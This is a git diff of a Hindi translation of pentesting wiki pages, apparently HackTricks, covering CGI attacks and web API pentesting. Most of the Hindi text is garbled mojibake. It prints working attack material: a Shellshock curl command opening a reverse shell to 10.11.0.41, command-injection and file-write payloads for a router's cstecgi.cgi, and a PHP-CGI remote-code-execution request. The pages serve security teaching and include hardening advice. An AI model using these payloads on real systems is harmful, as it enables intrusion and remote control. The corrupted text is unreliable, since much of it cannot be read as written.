рдХрд░ рд░рд╣рд╛ рд╣реИ, рдпрд╛ **nikto** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред -### **рдкрд░реАрдХреНрд╖рдг** +### **Test** -рдЕрдзрд┐рдХрд╛рдВрд╢ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдореЗрдВ рдХреБрдЫ echo рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЙрдореНрдореАрдж рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рд╡рд╣ string рд╡реЗрдм response рдореЗрдВ рд▓реМрдЯреЗрдЧреАред рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХреЛрдИ рдкреЗрдЬ vulnerable рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╕рднреА **cgi** рдкреЗрдЬ рдЦреЛрдЬреЗрдВ рдФрд░ рдЙрдирдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред +рдЕрдзрд┐рдХрд╛рдВрд╢ рдЯреЗрд╕реНрдЯ echo рдХрд░рдХреЗ рдХреБрдЫ рднреЗрдЬрдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ string рд╡реЗрдм response рдореЗрдВ рд╡рд╛рдкрд╕ рдорд┐рд▓реЗрдЧреАред рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХреЛрдИ рдкреЗрдЬ vulnerable рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╕рднреА cgi рдкреЗрдЬреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдФрд░ рдЙрдирдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред **Nmap** ```bash @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## рдХреЗрдВрджреНрд░реАрдХреГрдд CGI рдбрд┐рд╕реНрдкреИрдЪрд░реНрд╕ (single endpoint routing via selector parameters) +## рдХреЗрдВрджреНрд░реАрдХреГрдд CGI рдбрд┐рд╕реНрдкреИрдЪрд░ (selector parameters рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ single endpoint рд░реВрдЯрд┐рдВрдЧ) -рдХрдИ embedded web UIs рдПрдХрд▓ CGI endpoint рдХреЗ рдкреАрдЫреЗ рджрд░реНрдЬрдиреЛрдВ privileged actions рдХреЛ multiplex рдХрд░рддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `/cgi-bin/cstecgi.cgi`) рдФрд░ рдЕрдиреБрд░реЛрдз рдХреЛ internal function рддрдХ route рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `topicurl=` рдЬреИрд╕реЗ selector parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред +рдХрдИ embedded web UIs рдПрдХ рд╣реА CGI endpoint (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, `/cgi-bin/cstecgi.cgi`) рдХреЗ рдкреАрдЫреЗ рджрд░реНрдЬрдиреЛрдВ privileged actions рдХреЛ multiplex рдХрд░рддреА рд╣реИрдВ рдФрд░ request рдХреЛ internal function рддрдХ route рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `topicurl=` рдЬреИрд╕реЗ selector parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВред -рдЗрди routers рдХреЛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░рдиреЗ рдХреА рдХрд╛рд░реНрдпрдкреНрд░рдгрд╛рд▓реА: +Methodology to exploit these routers: -- handler рдирд╛рдо рдЧрд┐рдиреЗрдВ: scrape JS/HTML, brute-force with wordlists, рдпрд╛ firmware unpack рдХрд░рдХреЗ dispatcher рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП handler strings рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВред -- Test unauthenticated reachability: рдХреБрдЫ handlers auth checks рднреВрд▓ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рд╕реАрдзреЗ callable рд╣реЛрддреЗ рд╣реИрдВред -- рдЙрди handlers рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ рдЬреЛ system utilities рдХреЛ invoke рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ files рдХреЛ touch рдХрд░рддреЗ рд╣реИрдВ; рдХрдордЬреЛрд░ validators рдЕрдХреНрд╕рд░ рдХреЗрд╡рд▓ рдХреБрдЫ characters рдХреЛ рд╣реА block рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж leading hyphen `-` рдХреЛ рдорд┐рд╕ рдХрд░ рджреЗрддреЗ рд╣реИрдВред +- Handler рдирд╛рдореЛрдВ рдХреА enumeration рдХрд░реЗрдВ: JS/HTML scrape рдХрд░реЗрдВ, wordlists рд╕реЗ brute-force рдХрд░реЗрдВ, рдпрд╛ firmware unpack рдХрд░рдХреЗ dispatcher рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд handler strings рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВред +- Unauthenticated reachability рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВ: рдХреБрдЫ handlers auth checks рднреВрд▓ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рд╕реАрдзреЗ callable рд╣реЛрддреЗ рд╣реИрдВред +- рдЙрди handlers рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВ рдЬреЛ system utilities invoke рдХрд░рддреЗ рд╣реИрдВ рдпрд╛ files рдХреЛ touch рдХрд░рддреЗ рд╣реИрдВ; weak validators рдЕрдХреНрд╕рд░ рд╕рд┐рд░реНрдл рдХреБрдЫ characters рдХреЛ рд╣реА block рдХрд░рддреЗ рд╣реИрдВ рдФрд░ leading hyphen `-` рдорд┐рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рд╕рд╛рдорд╛рдиреНрдп exploit рд░реВрдк: +рд╕рд╛рдорд╛рдиреНрдп exploit рдкреИрдЯрд░реНрди: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass тЖТ arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Detection and hardening: +рдбрд┐рдЯреЗрдХреНрд╢рди рдФрд░ рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ: -- рд╕реЗрдВрдЯреНрд░рд▓рд╛рдЗрдЬрд╝реНрдб CGI endpoints рдкрд░ рдЙрди рдкреНрд░рдорд╛рдгреАрдХрд░рдгрд╣реАрди рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░ рдирд┐рдЧрд░рд╛рдиреА рд░рдЦреЗрдВ рдЬрд┐рдирдореЗрдВ `topicurl` рд╕рдВрд╡реЗрджрдирд╢реАрд▓ handlers рдкрд░ рд╕реЗрдЯ рд╣реЛред -- рдЙрди parameters рдХреЛ рдлреНрд▓реИрдЧ рдХрд░реЗрдВ рдЬреЛ `-` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ (argv option injection attempts)ред -- рд╡рд┐рдХреНрд░реЗрддрд╛рдУрдВ: рд╕рднреА state-changing handlers рдкрд░ authentication рд▓рд╛рдЧреВ рдХрд░реЗрдВ, рдХрдареЛрд░ allowlists/types/lengths рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ validate рдХрд░реЗрдВ, рдФрд░ рдХрднреА рднреА user-controlled strings рдХреЛ command-line flags рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рди рдХрд░реЗрдВред +- рдХреЗрдВрджреНрд░реАрдХреГрдд CGI endpoints рдкрд░ `topicurl` рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ handlers рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░ рдирд┐рдЧрд░рд╛рдиреА рд░рдЦреЗрдВред +- `-` рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░реЛрдВ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдВ (argv option injection рдкреНрд░рдпрд╛рд╕)ред +- рд╡рд┐рдХреНрд░реЗрддрд╛рдУрдВ: рд╕рднреА state-changing handlers рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд▓рд╛рдЧреВ рдХрд░реЗрдВ, рдХрдбрд╝реЗ allowlists/types/lengths рд╕реЗ рд╡реИрд▓рд┐рдбреЗрд╢рди рдХрд░реЗрдВ, рдФрд░ рдХрднреА рднреА user-controlled strings рдХреЛ command-line flags рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рди рдХрд░реЗрдВред ## рдкреБрд░рд╛рдирд╛ PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Basically if cgi is active and php is "old" \(<5.3.12 / < 5.4.2\) you can execute code. -рдЗрд╕ vulnerability рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреА рдХрд┐рд╕реА PHP рдлрд╝рд╛рдЗрд▓ рддрдХ рдмрд┐рдирд╛ parameters рднреЗрдЬреЗ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ \(рд╡рд┐рд╢реЗрд╖рдХрд░ рдмрд┐рдирд╛ "=" рдХреИрд░реЗрдХреНрдЯрд░ рднреЗрдЬреЗ\)ред -рдлрд┐рд░, рдЗрд╕ vulnerability рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `/index.php?-s` \(рдзреНрдпрд╛рди рджреЗрдВ `-s`\) рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **source code of the application will appear in the response**ред +рдмреБрдирд┐рдпрд╛рджреА рддреМрд░ рдкрд░ рдЕрдЧрд░ CGI рд╕рдХреНрд░рд┐рдп рд╣реИ рдФрд░ PHP "рдкреБрд░рд╛рдирд╛" \(<5.3.12 / < 5.4.2\) рд╣реИ рддреЛ рдЖрдк рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕ vulnerability рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреА рдХрд┐рд╕реА PHP рдлрд╛рдЗрд▓ рддрдХ рдРрд╕реЗ рдкрд╣реБрдВрдЪрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ parameters рди рднреЗрдЬреЗ рдЬрд╛рдПрдБ \(рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ '=' рдХреИрд░реЗрдХреНрдЯрд░ рди рднреЗрдЬреЗрдВ\)ред +рдлрд┐рд░, рдЗрд╕ vulnerability рдХреЛ рдЯреЗрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `/index.php?-s` рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ \(рдзреНрдпрд╛рди рджреЗрдВ `-s`\) рдФрд░ **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб response рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛**ред -рдлрд┐рд░, **RCE** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдпрд╣ рд╡рд┐рд╢реЗрд╖ query рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` рдФрд░ **PHP code** рдХреЛ request рдХреЗ **body** рдореЗрдВ рднреЗрдЬреЗрдВ рдЬрд┐рд╕рд╕реЗ рд╡рд╣ execute рд╣реЛред -Example: +рдлрд┐рд░, **RCE** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдХреНрд╡реЗрд░реА рдХреЛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ **PHP code** рдЕрдиреБрд░реЛрдз рдХреЗ **body** рдореЗрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +рдЙрджрд╛рд╣рд░рдг: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **vuln рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд exploits рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП\)** +## **Proxy \(MitM to Web server requests\)** -CGI http request рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ header рдХреЗ рд▓рд┐рдП рдПрдХ environment variable рдмрдирд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: "host:web.com" рдХреЛ "HTTP_HOST"="web.com" рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +CGI рдкреНрд░рддреНрдпреЗрдХ header рдХреЗ рд▓рд┐рдП http request рдореЗрдВ рдПрдХ environment variable рдмрдирд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: "host:web.com" рдХреЛ "HTTP_HOST"="web.com" рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -HTTP_PROXY variable рдХрд╛ рдЙрдкрдпреЛрдЧ web server рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ **header** рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рд╣реЛ: "**Proxy: <IP_attacker>:<PORT>**" рдФрд░ рдпрджрд┐ server session рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ request рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк server рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ request рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рдкрд╛рдПрдВрдЧреЗред +рдЪреВрдБрдХрд┐ HTTP_PROXY variable рдХреЛ web server рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ **header** рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рд╣реЛ: "**Proxy: <IP_attacker>:<PORT>**" рдФрд░ рдпрджрд┐ рд╕рд░реНрд╡рд░ рд╕реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ request рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХреА рдЧрдИ рдкреНрд░рддреНрдпреЗрдХ request рдХреЛ capture рдХрд░ рдкрд╛рдПрдБрдЧреЗред -## **рд╕рдВрджрд░реНрдн** +## **References** - [Unit 42 тАУ TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 64a39926f..648714865 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Methodology Summary +## API Pentesting рдореЗрдереЛрдбреЛрд▓реЙрдЬреА рд╕рд╛рд░рд╛рдВрд╢ -APIs рдХрд╛ pentesting рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрд░рдЪрд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЧрд╛рдЗрдб рдПрдХ рд╡реНрдпрд╛рдкрдХ рдкрджреНрдзрддрд┐ рдХреЛ рд╕рдВрдХреНрд╖реЗрдкрд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрдХрдиреАрдХреЛрдВ рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдЬреЛрд░ рджреЗрддрд╛ рд╣реИред +APIs рдХреА pentesting рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрд░рдЪрд┐рдд рдЕрдкреНрд░реЛрдЪ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рдЧрд╛рдЗрдб рдПрдХ рд╡реНрдпрд╛рдкрдХ рдореЗрдереЛрдбреЛрд▓реЙрдЬреА рдХреЛ рд╕рдореЗрдЯрддрд╛ рд╣реИ, рдЬреЛ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрдХрдиреАрдХреЛрдВ рдФрд░ рдЯреВрд▓реНрд╕ рдкрд░ рдЬреЛрд░ рджреЗрддрд╛ рд╣реИред -### **Understanding API Types** +### **API рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рд╕рдордЭрдирд╛** -- **SOAP/XML Web Services**: рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдХреЗ рд▓рд┐рдП WSDL рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ `?wsdl` рдкрдереЛрдВ рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред **SOAPUI** рдФрд░ **WSDLer** (Burp Suite Extension) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдФрд░ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реЛрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг [DNE Online](http://www.dneonline.com/calculator.asmx) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред -- **REST APIs (JSON)**: рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдЕрдХреНрд╕рд░ WADL рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдлрд┐рд░ рднреА [Swagger UI](https://swagger.io/tools/swagger-ui/) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЕрдиреБрдХреВрд▓ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред **Postman** рдЙрджрд╛рд╣рд░рдг рдЕрдиреБрд░реЛрдз рдмрдирд╛рдиреЗ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдореВрд▓реНрдпрд╡рд╛рди рдЙрдкрдХрд░рдг рд╣реИред -- **GraphQL**: APIs рдХреЗ рд▓рд┐рдП рдПрдХ рдХреНрд╡реЗрд░реА рднрд╛рд╖рд╛ рдЬреЛ рдЖрдкрдХреЗ API рдореЗрдВ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдкреВрд░реНрдг рдФрд░ рд╕рдордЭрдиреЗ рдпреЛрдЧреНрдп рд╡рд┐рд╡рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред +- **SOAP/XML Web Services**: WSDL рдлреЙрд░реНрдореЗрдЯ рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ `?wsdl` paths рдкрд░ рдорд┐рд▓рддрд╛ рд╣реИред рдЯреВрд▓реНрд╕ рдЬреИрд╕реЗ **SOAPUI** рдФрд░ **WSDLer** (Burp Suite Extension) parsing рдФрд░ requests generate рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рд╣реИрдВред Example documentation is accessible at [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: рдбреЙрдХреНрдпреВрдореЗрдВрдЯреЗрд╢рди рдЕрдХреНрд╕рд░ WADL рдлрд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ, рдлрд┐рд░ рднреА рдРрд╕реЗ рдЯреВрд▓реНрд╕ рдЬреИрд╕реЗ [Swagger UI](https://swagger.io/tools/swagger-ui/) interaction рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдзрд┐рдХ user-friendly interface рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред **Postman** example requests рдмрдирд╛рдиреЗ рдФрд░ manage рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдЯреВрд▓ рд╣реИред +- **GraphQL**: APIs рдХреЗ рд▓рд┐рдП рдПрдХ query language рд╣реИ рдЬреЛ рдЖрдкрдХреЗ API рдХреЗ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рдкреВрд░рд╛ рдФрд░ рд╕рдордЭрдиреЗ рдпреЛрдЧреНрдп рд╡рд░реНрдгрди рджреЗрддреА рд╣реИред ### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): рд╣рд╛рдереЛрдВ-рд╣рд╛рде рдЕрднреНрдпрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирдмреВрдЭрдХрд░ рдХрдордЬреЛрд░ API, OWASP рд╢реАрд░реНрд╖ 10 API рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИред +- [**VAmPI**](https://github.com/erev0s/VAmPI): рдПрдХ рдЬрд╛рдирдмреВрдЭрдХрд░ рдХрдордЬреЛрд░ API рд╣реИ рдЬреЛ hands-on рдкреНрд░реИрдХреНрдЯрд┐рд╕ рдХреЗ рд▓рд┐рдП рд╣реИ, рдФрд░ OWASP top 10 API vulnerabilities рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИред -### **Effective Tricks for API Pentesting** +### **API Pentesting рдХреЗ рд▓рд┐рдП рдкреНрд░рднрд╛рд╡реА рдЯреНрд░рд┐рдХреНрд╕** -- **SOAP/XML Vulnerabilities**: XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░реЗрдВ, рд╣рд╛рд▓рд╛рдВрдХрд┐ DTD рдШреЛрд╖рдгрд╛рдПрдБ рдЕрдХреНрд╕рд░ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реЛрддреА рд╣реИрдВред рдпрджрд┐ XML рдорд╛рдиреНрдп рд░рд╣рддрд╛ рд╣реИ рддреЛ CDATA рдЯреИрдЧ рдкреЗрд▓реЛрдб рд╕рдореНрдорд┐рд▓рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред -- **Privilege Escalation**: рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдХреА рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕реНрддрд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред -- **CORS Misconfigurations**: рдкреНрд░рдорд╛рдгрд┐рдд рд╕рддреНрд░реЛрдВ рд╕реЗ CSRF рд╣рдорд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП CORS рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -- **Endpoint Discovery**: рдЫрд┐рдкреЗ рд╣реБрдП рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП API рдкреИрдЯрд░реНрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдПрдВред рдлрдЬрд╝рд░реНрд╕ рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- **Parameter Tampering**: рдЕрдирдзрд┐рдХреГрдд рдбреЗрдЯрд╛ рдпрд╛ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝рдиреЗ рдпрд╛ рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпреЛрдЧ рдХрд░реЗрдВред -- **HTTP Method Testing**: рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд╡реНрдпрд╡рд╣рд╛рд░ рдпрд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЦреБрд▓рд╛рд╕реЗ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рд╡рд┐рдзрд┐рдпреЛрдВ (GET, POST, PUT, DELETE, PATCH) рдореЗрдВ рднрд┐рдиреНрдирддрд╛ рд▓рд╛рдПрдВред -- **Content-Type Manipulation**: рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдореБрджреНрджреЛрдВ рдпрд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░реЛрдВ (x-www-form-urlencoded, application/xml, application/json) рдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ 